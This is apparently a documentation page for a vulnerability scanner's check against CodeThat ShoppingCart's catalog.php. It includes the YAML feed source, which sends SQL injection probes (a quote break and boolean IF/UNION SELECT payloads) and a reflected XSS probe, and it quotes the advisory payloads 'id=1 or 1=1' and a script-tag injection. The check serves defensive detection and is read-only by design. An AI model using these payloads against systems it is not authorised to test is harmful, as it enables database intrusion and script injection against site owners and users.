CodeThat ShoppingCart — 1 vulnerability check

noctis ships 1 vulnerability check for CodeThat ShoppingCart, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CodeThat ShoppingCart catalog.php id SQL Injection and XSS

CVECVE-2005-1594, CVE-2005-1593
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/codethat-shoppingcart/codethat-shoppingcart-catalog-sqli-xss.yaml

CodeThat ShoppingCart 1.3.1 and earlier append the `id` parameter of catalog.php (action=category_show), unquoted and unfiltered, to the SQL query that lists a category's products, allowing unauthenticated SQL injection. When the query fails, the page prints the query text, the injected value included, without HTML-escaping it, which also allows reflected cross-site scripting.

This check first sends a random numeric `id` followed by a quote and confirms the page prints the failing category query with that value, while the same request without the quote answers normally. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must make the query fail, the right sum must not. It also checks that a random HTML tag sent in `id` comes back unescaped in the page. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{cdir}}/catalog.php?action=category_show&id={{sc.n}}
  3. HTTP(S) request GET {{cdir}}/catalog.php?action=category_show&id={{sc.n}}%27
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{cdir}}/catalog.php?action=category_show&id={{sc.n}}%22%3E%3C{{sc.tag}}%3E
  6. Parses / computes the next value with a Rhai script
  7. Checks xs.found for ^XSS$ → finding QoD 75: CodeThat ShoppingCart catalog.php id reflected XSS (CVE-2005-1593)
  8. HTTP(S) request GET {{cdir}}/catalog.php?action=category_show&id={{sc.n}}%20and%201%3DIF({{sc.a}}%2B{{sc.…
  9. HTTP(S) request GET {{cdir}}/catalog.php?action=category_show&id={{sc.n}}%20and%201%3DIF({{sc.a}}%2B{{sc.…
  10. HTTP(S) request GET {{cdir}}/catalog.php?action=category_show&id={{sc.n}}%20and%201%3DIF({{sc.a}}%2B{{sc.…
  11. Parses / computes the next value with a Rhai script
  12. Checks bp.found for ^BOOL$ → finding QoD 97: CodeThat ShoppingCart catalog.php id SQL Injection (CVE-2005-1594)
  13. Checks qm.found for ^QUOTE$ → finding QoD 75: CodeThat ShoppingCart catalog.php id SQL Injection (CVE-2005-1594)

References:

Feed source — tests/vulnerabilities/codethat-shoppingcart/codethat-shoppingcart-catalog-sqli-xss.yaml
# CodeThat ShoppingCart <= 1.3.1 — catalog.php `id` SQL injection and
# cross-site scripting (CVE-2005-1594, CVE-2005-1593)
#
# catalog.php?action=category_show appends the `id` parameter, unquoted and
# unfiltered, to the category listing query
#   select id from products P, category_products CP
#     where P.id=CP.product_id and CP.category_id=<id> ...
# (Lostmon, 2005-05-09, BID 13560: `id=1 or 1=1` lists every product). When
# the query fails, the page prints the failing query text, our input included,
# without HTML-escaping it — which is also the reflected XSS of CVE-2005-1593
# (`id=2"><script>...`).
#
# Source NASL (pre2008/codethatshoppingcart_sql.nasl) requests
# `catalog.php?action=category_show&id='` under / and the CGI dirs and greps the
# echoed query text. This feed keeps that check and goes further:
#   1. QoD 97 — boolean proof computed by the database: `id=N and
#      1=IF(A+B=S,1,(SELECT 1 UNION SELECT 2))` sent three times (S wrong,
#      right, wrong; random A/B). A wrong sum picks the two-row subquery and the
#      query fails ("Subquery returns more than 1 row", MySQL 4.1+ / MariaDB),
#      the right sum is valid SQL. Quote-free and constant-folded, so it works
#      on an empty catalogue.
#   2. QoD 75 — the NASL's quote check, made specific: `id=N'` (random N) must
#      echo the query text with `category_id=N'` (N\' under magic_quotes_gpc),
#      while the control `id=N` (valid SQL) answers 200 without it — a page
#      that always prints the query stays clean.
#   3. QoD 75, CVE-2005-1593 — once the query echo is seen, `id=N"><xR>` (random
#      tag name) must come back unescaped in the page.
# Beyond the NASL's CGI dirs, the probe walks the advisory's install dirs.
#
# The issue also lists CVE-2005-1595 (config.ini stored under the web root);
# its path is not public and the product source is gone, so it is not probed.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL pre2008/codethatshoppingcart_sql.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.18255, GPL-2.0-only)
uid: ef377294-5c2e-418d-b509-04a53eb7981d
name: "CodeThat ShoppingCart catalog.php id SQL Injection and XSS (CVE-2005-1594, CVE-2005-1593)"
description: |
  CodeThat ShoppingCart 1.3.1 and earlier append the `id` parameter of
  catalog.php (action=category_show), unquoted and unfiltered, to the SQL query
  that lists a category's products, allowing unauthenticated SQL injection. When
  the query fails, the page prints the query text, the injected value included,
  without HTML-escaping it, which also allows reflected cross-site scripting.

  This check first sends a random numeric `id` followed by a quote and confirms
  the page prints the failing category query with that value, while the same
  request without the quote answers normally. It then proves the injection with
  three boolean requests whose outcome depends on the database computing the sum
  of two random numbers: a wrong sum must make the query fail, the right sum must
  not. It also checks that a random HTML tag sent in `id` comes back unescaped
  in the page. Nothing is written and no data is read from the database.
cves: [CVE-2005-1594, CVE-2005-1593]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [codethat, shopping-cart, sqli, xss, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1594"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1593"
  - "https://www.exploit-db.com/exploits/25638"
  - "https://www.exploit-db.com/exploits/25637"
  - "https://www.securityfocus.com/bid/13560"

steps:
  # ── Random operands and markers ───────────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ n: rand_int(10000, 99999), a: a, b: b, sum: a + b,
         bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9),
         tag: "x" + rand_str(8) }
    store_as: sc

  # ── Per candidate install dir (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/shoppingcart", "/shoppingcart/demo", "/codethat", "/cart", "/shop"]
      var: cdir

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-xss-resp
    action: set_var
    var_name: xss_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: valid control, then the quote breaks the query ──────────────
  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/catalog.php?action=category_show&id={{sc.n}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/catalog.php?action=category_show&id={{sc.n}}%27"
    condition: "ctl_resp.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  # The failing query is echoed verbatim: the category query text followed by
  # our random number and the quote proves our input reached the SQL. With
  # magic_quotes_gpc on (PHP 4 default) the quote is echoed as \' — the
  # boolean proof below is quote-free and still works there.
  - id: check-qm
    action: script
    code: |
      let q = "select id from products P, category_products CP where P\\.id=CP\\.product_id and CP\\.category_id=";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = ctl_resp.status == 200 && !ereg(q, cbody, true)
        && ereg(q + "\\s*" + sc.n + "\\\\?'", body, true);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  # ── Stage 2: reflected XSS in the echoed query (CVE-2005-1593) ───────────
  - id: xss-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/catalog.php?action=category_show&id={{sc.n}}%22%3E%3C{{sc.tag}}%3E"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: xss_resp

  - id: check-xss
    action: script
    code: |
      let body = if type_of(xss_resp.body) == "string" { xss_resp.body } else { "" };
      let ok = qm.hit && stridx(body, "\"><" + sc.tag + ">") >= 0;
      #{ ok: ok, found: if ok { "XSS" } else { "" } }
    store_as: xs

  - id: report-xss
    action: match
    source: xs.found
    pattern: "^XSS$"
    condition: "xs.ok"
    on_match:
      finding:
        cves: [CVE-2005-1593]
        cvss: 6.8
        severity: medium
        title: "CodeThat ShoppingCart catalog.php id reflected XSS (CVE-2005-1593)"
        confidence_delta: 0.50
        qod: 75
        evidence: "Reflected XSS on {{cdir}}/catalog.php: id={{sc.n}}\"><{{sc.tag}}> came back unescaped in the page (HTTP {{xss_resp.status}})"

  # ── Stage 3: boolean proof — the database must compute A+B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/catalog.php?action=category_show&id={{sc.n}}%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/catalog.php?action=category_show&id={{sc.n}}%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/catalog.php?action=category_show&id={{sc.n}}%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let q = "select id from products P, category_products CP where P\\.id=CP\\.product_id and CP\\.category_id=";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status == 200
        && ereg(q, b1, true) && !ereg(q, bt, true) && ereg(q, b2, true);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        cves: [CVE-2005-1594]
        title: "CodeThat ShoppingCart catalog.php id SQL Injection (CVE-2005-1594)"
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{cdir}}/catalog.php: id={{sc.n}} and 1=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) made the category query fail for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        cves: [CVE-2005-1594]
        title: "CodeThat ShoppingCart catalog.php id SQL Injection (CVE-2005-1594)"
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: id={{sc.n}}' on {{cdir}}/catalog.php made the page print the failing category query ending in category_id={{sc.n}}', while the control id={{sc.n}} (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

View these feeds on GitHub